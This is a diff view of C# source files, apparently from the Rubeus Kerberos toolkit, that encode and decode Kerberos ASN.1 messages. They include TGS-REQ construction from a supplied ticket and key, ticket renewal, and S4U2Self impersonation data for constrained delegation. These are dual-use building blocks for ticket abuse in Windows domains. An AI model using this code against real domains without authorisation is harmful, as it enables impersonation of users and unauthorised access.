//KrbCredInfo ::= SEQUENCE {
// key [0] EncryptionKey,
// prealm [1] Realm OPTIONAL,
// pname [2] PrincipalName OPTIONAL,
// flags [3] TicketFlags OPTIONAL,
// authtime [4] KerberosTime OPTIONAL,
// starttime [5] KerberosTime OPTIONAL,
// endtime [6] KerberosTime OPTIONAL,
// renew-till [7] KerberosTime OPTIONAL,
// srealm [8] Realm OPTIONAL,
// sname [9] PrincipalName OPTIONAL,
// caddr [10] HostAddresses OPTIONAL
//}
public KrbCredInfo()
{
key = new EncryptionKey();
prealm = "";
pname = new PrincipalName();
flags = 0;
srealm = "";
sname = new PrincipalName();
}
public KrbCredInfo(AsnElt body)
{
foreach (AsnElt s in body.Sub)
{
switch (s.TagValue)
{
case 0:
key = new EncryptionKey(s);
break;
case 1:
prealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString());
break;
case 2:
pname = new PrincipalName(s.Sub[0]);
break;
case 3:
UInt32 temp = Convert.ToUInt32(s.Sub[0].GetInteger());
byte[] tempBytes = BitConverter.GetBytes(temp);
flags = (Interop.TicketFlags)BitConverter.ToInt32(tempBytes, 0);
break;
case 4:
authtime = s.Sub[0].GetTime();
break;
case 5:
starttime = s.Sub[0].GetTime();
break;
case 6:
endtime = s.Sub[0].GetTime();
break;
case 7:
renew_till = s.Sub[0].GetTime();
break;
case 8:
srealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString());
break;
case 9:
sname = new PrincipalName(s.Sub[0]);
break;
default:
break;
}
}
}
public AsnElt Encode()
{
List<AsnElt> asnElements = new List<AsnElt>();
// key [0] EncryptionKey
AsnElt keyAsn = key.Encode();
keyAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, keyAsn);
asnElements.Add(keyAsn);
// prealm [1] Realm OPTIONAL
if (!String.IsNullOrEmpty(prealm))
{
AsnElt prealmAsn = AsnElt.MakeString(AsnElt.IA5String, prealm);
prealmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, prealmAsn);
AsnElt prealmAsnSeq = AsnElt.Make(AsnElt.SEQUENCE, prealmAsn);
prealmAsnSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, prealmAsnSeq);
asnElements.Add(prealmAsnSeq);
}
// pname [2] PrincipalName OPTIONAL
if ((pname.name_string != null) && (pname.name_string.Count != 0) && (!String.IsNullOrEmpty(pname.name_string[0])))
{
AsnElt pnameAsn = pname.Encode();
pnameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, pnameAsn);
asnElements.Add(pnameAsn);
}
// pname [2] PrincipalName OPTIONAL
byte[] flagBytes = BitConverter.GetBytes((UInt32)flags);
if (BitConverter.IsLittleEndian)
{
Array.Reverse(flagBytes);
}
AsnElt flagBytesAsn = AsnElt.MakeBitString(flagBytes);
AsnElt flagBytesSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { flagBytesAsn });
flagBytesSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, flagBytesSeq);
asnElements.Add(flagBytesSeq);
// authtime [4] KerberosTime OPTIONAL
if ((authtime != null) && (authtime != DateTime.MinValue))
{
AsnElt authtimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, authtime.ToString("yyyyMMddHHmmssZ"));
AsnElt authtimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { authtimeAsn });
authtimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, authtimeSeq);
asnElements.Add(authtimeSeq);
}
// starttime [5] KerberosTime OPTIONAL
if ((starttime != null) && (starttime != DateTime.MinValue))
{
AsnElt starttimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, starttime.ToString("yyyyMMddHHmmssZ"));
AsnElt starttimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { starttimeAsn });
starttimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 5, starttimeSeq);
asnElements.Add(starttimeSeq);
}
// endtime [6] KerberosTime OPTIONAL
if ((endtime != null) && (endtime != DateTime.MinValue))
{
AsnElt endtimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, endtime.ToString("yyyyMMddHHmmssZ"));
AsnElt endtimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { endtimeAsn });
endtimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 6, endtimeSeq);
asnElements.Add(endtimeSeq);
}
// renew-till [7] KerberosTime OPTIONAL
if ((renew_till != null) && (renew_till != DateTime.MinValue))
{
AsnElt renew_tillAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, renew_till.ToString("yyyyMMddHHmmssZ"));
AsnElt renew_tillSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { renew_tillAsn });
renew_tillSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 7, renew_tillSeq);
asnElements.Add(renew_tillSeq);
}
// srealm [8] Realm OPTIONAL
if (!String.IsNullOrEmpty(srealm))
{
AsnElt srealmAsn = AsnElt.MakeString(AsnElt.IA5String, srealm);
srealmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, srealmAsn);
AsnElt srealmAsnSeq = AsnElt.Make(AsnElt.SEQUENCE, srealmAsn);
srealmAsnSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 8, srealmAsnSeq);
asnElements.Add(srealmAsnSeq);
}
// sname [9] PrincipalName OPTIONAL
if ((sname.name_string != null) && (sname.name_string.Count != 0) && (!String.IsNullOrEmpty(sname.name_string[0])))
{
AsnElt pnameAsn = sname.Encode();
pnameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 9, pnameAsn);
asnElements.Add(pnameAsn);
}
// caddr [10] HostAddresses OPTIONAL
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, asnElements.ToArray());
return seq;
}
public EncryptionKey key { get; set; }
public string prealm { get; set; }
public PrincipalName pname { get; set; }
public Interop.TicketFlags flags { get; set; }
public DateTime authtime { get; set; }
public DateTime starttime { get; set; }
public DateTime endtime { get; set; }
public DateTime renew_till { get; set; }
public string srealm { get; set; }
public PrincipalName sname { get; set; }
// caddr (optional) - skipping for now
}
}

View File

@ -0,0 +1,43 @@
using System;
using Asn1;
using System.Text;
using System.Collections.Generic;
namespace Rubeus
{
public class LastReq
{
//LastReq::= SEQUENCE OF SEQUENCE {
// lr-type[0] Int32,
// lr-value[1] KerberosTime
//}
public LastReq(AsnElt body)
{
foreach (AsnElt s in body.Sub[0].Sub)
{
switch (s.TagValue)
{
case 0:
lr_type = Convert.ToInt32(s.Sub[0].GetInteger());
break;
case 1:
lr_value = s.Sub[0].GetTime();
break;
default:
break;
}
}
}
public AsnElt Encode()
{
// TODO: implement
return null;
}
public Int32 lr_type { get; set; }
public DateTime lr_value { get; set; }
}
}

View File

@ -0,0 +1,150 @@
using System;
using Asn1;
using System.IO;
namespace Rubeus
{
public class PA_DATA
{
//PA-DATA ::= SEQUENCE {
// -- NOTE: first tag is [1], not [0]
// padata-type [1] Int32,
// padata-value [2] OCTET STRING -- might be encoded AP-REQ
//}
public PA_DATA()
{
// defaults for creation
type = Interop.PADATA_TYPE.PA_PAC_REQUEST;
value = new KERB_PA_PAC_REQUEST();
}
public PA_DATA(string keyString, Interop.KERB_ETYPE etype)
{
// include pac, supply enc timestamp
type = Interop.PADATA_TYPE.ENC_TIMESTAMP;
PA_ENC_TS_ENC temp = new PA_ENC_TS_ENC();
byte[] rawBytes = temp.Encode().Encode();
byte[] key = Helpers.StringToByteArray(keyString);
// KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP 1
// From https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L55
byte[] encBytes = Crypto.KerberosEncrypt(etype, 1, key, rawBytes);
value = new EncryptedData((int)etype, encBytes);
}
public PA_DATA(byte[] key, string name, string realm)
{
// used for constrained delegation
type = Interop.PADATA_TYPE.S4U2SELF;
value = new PA_FOR_USER(key, name, realm);
}
public PA_DATA(string crealm, string cname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype)
{
// include an AP-REQ, so PA-DATA for a TGS-REQ
type = Interop.PADATA_TYPE.AP_REQ;
// build the AP-REQ
AP_REQ ap_req = new AP_REQ(crealm, cname, providedTicket, clientKey, etype);
value = ap_req;
}
public PA_DATA(AsnElt body)
{
//if (body.Sub.Length != 2)
//{
// throw new System.Exception("PA-DATA should contain two elements");
//}
//Console.WriteLine("tag: {0}", body.Sub[0].Sub[1].TagString);
type = (Interop.PADATA_TYPE)body.Sub[0].Sub[0].GetInteger();
byte[] valueBytes = body.Sub[1].Sub[0].GetOctetString();
if (type == Interop.PADATA_TYPE.PA_PAC_REQUEST)
{
value = new KERB_PA_PAC_REQUEST(AsnElt.Decode(body.Sub[1].Sub[0].CopyValue()));
}
else if (type == Interop.PADATA_TYPE.ENC_TIMESTAMP)
{
// TODO: parse PA-ENC-TIMESTAMP
}
else if (type == Interop.PADATA_TYPE.AP_REQ)
{
// TODO: parse AP_REQ
}
}
public AsnElt Encode()
{
// padata-type [1] Int32
AsnElt typeElt = AsnElt.MakeInteger((long)type);
AsnElt nameTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { typeElt });
nameTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, nameTypeSeq);
AsnElt paDataElt;
if (type == Interop.PADATA_TYPE.PA_PAC_REQUEST)
{
// used for AS-REQs
// padata-value [2] OCTET STRING -- might be encoded AP-REQ
paDataElt = ((KERB_PA_PAC_REQUEST)value).Encode();
paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, paDataElt);
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt });
return seq;
}
else if (type == Interop.PADATA_TYPE.ENC_TIMESTAMP)
{
// used for AS-REQs
AsnElt blob = AsnElt.MakeBlob(((EncryptedData)value).Encode().Encode());
AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob });
blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq);
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, blobSeq });
return seq;
}
else if (type == Interop.PADATA_TYPE.AP_REQ)
{
// used for TGS-REQs
//paDataElt = ((AP_REQ)value).Encode(); //needed?
AsnElt blob = AsnElt.MakeBlob(((AP_REQ)value).Encode().Encode());
AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob });
paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq);
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt });
return seq;
}
else if (type == Interop.PADATA_TYPE.S4U2SELF)
{
// used for constrained delegation
paDataElt = ((PA_FOR_USER)value).Encode();
AsnElt blob = AsnElt.MakeBlob(((PA_FOR_USER)value).Encode().Encode());
AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob });
paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq);
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt });
return seq;
}
else
{
return null;
}
}
public Interop.PADATA_TYPE type { get; set; }
public Object value { get; set; }
}
}

View File

@ -0,0 +1,46 @@
using Asn1;
using System;
using System.Text;
namespace Rubeus
{
//PA-ENC-TS-ENC ::= SEQUENCE {
// patimestamp[0] KerberosTime, -- client's time
// pausec[1] INTEGER OPTIONAL
//}
public class PA_ENC_TS_ENC
{
public PA_ENC_TS_ENC()
{
patimestamp = DateTime.UtcNow;
}
public PA_ENC_TS_ENC(DateTime time)
{
patimestamp = time;
}
//public PA_ENC_TS_ENC(AsnElt value)
//{
//}
public AsnElt Encode()
{
AsnElt patimestampAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, patimestamp.ToString("yyyyMMddHHmmssZ"));
AsnElt patimestampSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { patimestampAsn });
patimestampSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, patimestampSeq);
AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { patimestampSeq });
return totalSeq;
}
public DateTime patimestamp { get; set; }
public int pausec { get; set; }
//public bool include_pac { get; set; }
}
}

View File

@ -0,0 +1,96 @@
using Asn1;
using System;
using System.Collections.Generic;
using System.Text;
namespace Rubeus
{
//PA-FOR-USER-ENC ::= SEQUENCE {
// userName[0] PrincipalName,
// userRealm[1] Realm,
// cksum[2] Checksum,
// auth-package[3] KerberosString
//}
public class PA_FOR_USER
{
public PA_FOR_USER(byte[] key, string name, string realm)
{
userName = new PrincipalName(name);
userName.name_type = 10;
userRealm = realm.ToUpper();
// now build the checksum
auth_package = "Kerberos";
byte[] nameTypeBytes = new byte[4];
nameTypeBytes[0] = 0xa;
byte[] nameBytes = Encoding.UTF8.GetBytes(name);
byte[] realmBytes = Encoding.UTF8.GetBytes(userRealm);
byte[] authPackageBytes = Encoding.UTF8.GetBytes(auth_package);
byte[] finalBytes = new byte[nameTypeBytes.Length + nameBytes.Length + realmBytes.Length + authPackageBytes.Length];
Array.Copy(nameTypeBytes, 0, finalBytes, 0, nameTypeBytes.Length);
Array.Copy(nameBytes, 0, finalBytes, nameTypeBytes.Length, nameBytes.Length);
Array.Copy(realmBytes, 0, finalBytes, nameTypeBytes.Length + nameBytes.Length, realmBytes.Length);
Array.Copy(authPackageBytes, 0, finalBytes, nameTypeBytes.Length + nameBytes.Length + realmBytes.Length, authPackageBytes.Length);
byte[] outBytes = Crypto.KerberosChecksum(key, finalBytes);
Checksum checksum = new Checksum(outBytes);
cksum = checksum;
}
public AsnElt Encode()
{
List<AsnElt> allNodes = new List<AsnElt>();
// userName[0] PrincipalName
AsnElt userNameAsn = userName.Encode();
userNameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, userNameAsn);
allNodes.Add(userNameAsn);
// userRealm[1] Realm
AsnElt userRealmAsn = AsnElt.MakeString(AsnElt.IA5String, userRealm);
userRealmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, userRealmAsn);
AsnElt userRealmSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { userRealmAsn });
userRealmSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, userRealmSeq);
allNodes.Add(userRealmSeq);
// cksum[2] Checksum
AsnElt checksumAsn = cksum.Encode();
checksumAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, checksumAsn);
allNodes.Add(checksumAsn);
// auth-package[3] KerberosString
AsnElt auth_packageAsn = AsnElt.MakeString(AsnElt.IA5String, auth_package);
auth_packageAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, auth_packageAsn);
AsnElt auth_packageSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { auth_packageAsn });
auth_packageSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, auth_packageSeq);
allNodes.Add(auth_packageSeq);
// package it all up
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray());
// tag the final total
//AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { seq });
//final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 2, final);
return seq;
}
public PrincipalName userName { get; set; }
public string userRealm { get; set; }
public Checksum cksum { get; set; }
public string auth_package { get; set; }
}
}

View File

@ -0,0 +1,94 @@
using Asn1;
using System;
using System.Collections.Generic;
using System.Text;
namespace Rubeus
{
//PrincipalName::= SEQUENCE {
// name-type[0] Int32,
// name-string[1] SEQUENCE OF KerberosString
//}
public class PrincipalName
{
public PrincipalName()
{
// KRB_NT_PRINCIPAL = 1
// means just the name of the principal
// KRB_NT_SRV_INST = 2
// service and other unique instance (krbtgt)
// KRB_NT_ENTERPRISE_PRINCIPAL = 10
// user@domain.com
name_type = 1;
name_string = new List<string>();
}
public PrincipalName(string principal)
{
// create with principal
name_type = 1;
name_string = new List<string>();
name_string.Add(principal);
}
public PrincipalName(AsnElt body)
{
// KRB_NT_PRINCIPAL = 1
// means just the name of the principal
// KRB_NT_SRV_INST = 2
// service and other unique instance (krbtgt)
name_type = body.Sub[0].Sub[0].GetInteger();
int numberOfNames = body.Sub[1].Sub[0].Sub.Length;
name_string = new List<string>();
for (int i = 0; i < numberOfNames; i++)
{
name_string.Add(Encoding.ASCII.GetString(body.Sub[1].Sub[0].Sub[i].GetOctetString()));
}
}
public AsnElt Encode()
{
// name-type[0] Int32
AsnElt nameTypeElt = AsnElt.MakeInteger(name_type);
AsnElt nameTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeElt });
nameTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, nameTypeSeq);
// name-string[1] SEQUENCE OF KerberosString
// add in the name string sequence (one or more)
AsnElt[] strings = new AsnElt[name_string.Count];
for (int i = 0; i < name_string.Count; ++i)
{
string name = name_string[i];
AsnElt nameStringElt = AsnElt.MakeString(AsnElt.IA5String, name);
nameStringElt = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, nameStringElt);
strings[i] = nameStringElt;
}
AsnElt stringSeq = AsnElt.Make(AsnElt.SEQUENCE, strings);
AsnElt stringSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { stringSeq } );
stringSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, stringSeq2);
// build the final sequences
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { nameTypeSeq, stringSeq2 });
AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq });
return seq2;
}
public long name_type { get; set; }
public List<string> name_string { get; set; }
}
}

View File

@ -0,0 +1,101 @@
using Asn1;
using System;
using System.Text;
namespace Rubeus
{
public class TGS_REP
{
//TGS-REP ::= [APPLICATION 13] KDC-REP
//KDC-REP ::= SEQUENCE {
// pvno [0] INTEGER (5),
// msg-type [1] INTEGER (13 -- TGS),
// padata [2] SEQUENCE OF PA-DATA OPTIONAL
// -- NOTE: not empty --,
// crealm [3] Realm,
// cname [4] PrincipalName,
// ticket [5] Ticket,
// enc-part [6] EncryptedData
// -- EncTGSRepPart
//}
public TGS_REP(byte[] data)
{
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt asn_TGS_REP = AsnElt.Decode(data, false);
this.Decode(asn_TGS_REP);
}
public TGS_REP(AsnElt asn_TGS_REP)
{
this.Decode(asn_TGS_REP);
}
private void Decode(AsnElt asn_TGS_REP)
{
// TGS - REP::= [APPLICATION 13] KDC - REP
if (asn_TGS_REP.TagValue != 13)
{
throw new System.Exception("TGS-REP tag value should be 11");
}
if ((asn_TGS_REP.Sub.Length != 1) || (asn_TGS_REP.Sub[0].TagValue != 16))
{
throw new System.Exception("First TGS-REP sub should be a sequence");
}
// extract the KDC-REP out
AsnElt[] kdc_rep = asn_TGS_REP.Sub[0].Sub;
foreach (AsnElt s in kdc_rep)
{
switch (s.TagValue)
{
case 0:
pvno = s.Sub[0].GetInteger();
break;
case 1:
msg_type = s.Sub[0].GetInteger();
break;
case 2:
// sequence of pa-data
padata = new PA_DATA(s.Sub[0]);
break;
case 3:
crealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString());
break;
case 4:
cname = new PrincipalName(s.Sub[0]);
break;
case 5:
ticket = new Ticket(s.Sub[0].Sub[0]);
break;
case 6:
enc_part = new EncryptedData(s.Sub[0]);
break;
default:
break;
}
}
}
// won't really every need to *create* a TGS reply, so no encode
public long pvno { get; set; }
public long msg_type { get; set; }
public PA_DATA padata { get; set; }
public string crealm { get; set; }
public PrincipalName cname { get; set; }
public Ticket ticket { get; set; }
public EncryptedData enc_part { get; set; }
}
}

View File

@ -0,0 +1,144 @@
using Asn1;
using System;
using System.Collections.Generic;
using System.IO;
namespace Rubeus
{
//TGS-REQ ::= [APPLICATION 12] KDC-REQ
//KDC-REQ ::= SEQUENCE {
// -- NOTE: first tag is [1], not [0]
// pvno [1] INTEGER (5) ,
// msg-type [2] INTEGER (12 -- TGS),
// padata [3] SEQUENCE OF PA-DATA OPTIONAL
// -- NOTE: not empty --,
// in this case, it's an AP-REQ
// req-body [4] KDC-REQ-BODY
//}
public class TGS_REQ
{
public static byte[] NewTGSReq(string userName, string domain, string sname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, bool renew, string s4uUser = "")
{
TGS_REQ req = new TGS_REQ();
// create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc.
PA_DATA padata = new PA_DATA(domain, userName, providedTicket, clientKey, etype);
req.padata.Add(padata);
// set the username
req.req_body.cname.name_string.Add(userName);
// the realm (domain) the user exists in
req.req_body.realm = domain;
if (!String.IsNullOrEmpty(s4uUser))
{
// constrained delegation yo'
PA_DATA s4upadata = new PA_DATA(clientKey, String.Format("{0}@{1}", s4uUser, domain), domain);
req.padata.Add(s4upadata);
req.req_body.sname.name_type = 1;
req.req_body.sname.name_string.Add(userName);
req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.ENCTKTINSKEY;
req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
}
else
{
// add in our encryption type
req.req_body.etypes.Add(etype);
// KRB_NT_SRV_INST = 2
// service and other unique instance (e.g. krbtgt)
req.req_body.sname.name_type = 2;
req.req_body.sname.name_string.Add(sname);
req.req_body.sname.name_string.Add(domain);
if (renew)
{
req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.RENEW;
}
}
return req.Encode().Encode();
}
public static byte[] NewTGSReq(byte[] kirbi)
{
// take a supplied .kirbi TGT cred and build a TGS_REQ
return null;
}
public TGS_REQ()
{
// default, for creation
pvno = 5;
// msg-type [2] INTEGER (12 -- TGS)
msg_type = 12;
padata = new List<PA_DATA>();
req_body = new KDCReqBody();
}
public AsnElt Encode()
{
// pvno [1] INTEGER (5)
AsnElt pvnoAsn = AsnElt.MakeInteger(pvno);
AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { pvnoAsn });
pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, pvnoSeq);
// msg-type [2] INTEGER (12 -- TGS -- )
AsnElt msg_type_ASN = AsnElt.MakeInteger(msg_type);
AsnElt msg_type_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { msg_type_ASN });
msg_type_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, msg_type_ASNSeq);
// padata [3] SEQUENCE OF PA-DATA OPTIONAL
List<AsnElt> padatas = new List<AsnElt>();
foreach (PA_DATA pa in padata)
{
padatas.Add(pa.Encode());
}
AsnElt padata_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, padatas.ToArray());
AsnElt padata_ASNSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { padata_ASNSeq });
padata_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, padata_ASNSeq2);
// req-body [4] KDC-REQ-BODY
AsnElt req_Body_ASN = req_body.Encode();
AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN });
req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq);
// encode it all into a sequence
AsnElt[] total = new[] { pvnoSeq, msg_type_ASNSeq, padata_ASNSeq, req_Body_ASNSeq };
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, total);
// TGS-REQ ::= [APPLICATION 12] KDC-REQ
// put it all together and tag it with 10
AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq });
totalSeq = AsnElt.MakeImplicit(AsnElt.APPLICATION, 12, totalSeq);
return totalSeq;
}
public long pvno { get; set; }
public long msg_type { get; set; }
public List<PA_DATA> padata { get; set; }
public KDCReqBody req_body { get; set; }
}
}

View File

@ -0,0 +1,82 @@
using System;
using Asn1;
using System.Text;
using System.Collections.Generic;
namespace Rubeus
{
public class Ticket
{
//Ticket::= [APPLICATION 1] SEQUENCE {
// tkt-vno[0] INTEGER(5),
// realm[1] Realm,
// sname[2] PrincipalName,
// enc-part[3] EncryptedData -- EncTicketPart
//}
public Ticket(AsnElt body)
{
foreach (AsnElt s in body.Sub)
{
switch (s.TagValue)
{
case 0:
tkt_vno = Convert.ToInt32(s.Sub[0].GetInteger());
break;
case 1:
realm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString());
break;
case 2:
sname = new PrincipalName(s.Sub[0]);
break;
case 3:
enc_part = new EncryptedData(s.Sub[0]);
break;
default:
break;
}
}
}
public AsnElt Encode()
{
// tkt-vno [0] INTEGER (5)
AsnElt tkt_vnoAsn = AsnElt.MakeInteger(tkt_vno);
AsnElt tkt_vnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { tkt_vnoAsn });
tkt_vnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, tkt_vnoSeq);
// realm [1] Realm
AsnElt realmAsn = AsnElt.MakeString(AsnElt.IA5String, realm);
realmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, realmAsn);
AsnElt realmAsnSeq = AsnElt.Make(AsnElt.SEQUENCE, realmAsn);
realmAsnSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, realmAsnSeq);
// sname [2] PrincipalName
AsnElt snameAsn = sname.Encode();
snameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, snameAsn);
// enc-part [3] EncryptedData -- EncTicketPart
AsnElt enc_partAsn = enc_part.Encode();
AsnElt enc_partSeq = AsnElt.Make(AsnElt.SEQUENCE, enc_partAsn);
enc_partSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, enc_partSeq);
AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { tkt_vnoSeq, realmAsnSeq, snameAsn, enc_partSeq });
AsnElt totalSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { totalSeq });
totalSeq2 = AsnElt.MakeImplicit(AsnElt.APPLICATION, 1, totalSeq2);
return totalSeq2;
}
public int tkt_vno { get; set; }
public string realm { get; set; }
public PrincipalName sname { get; set; }
public EncryptedData enc_part { get; set; }
}
}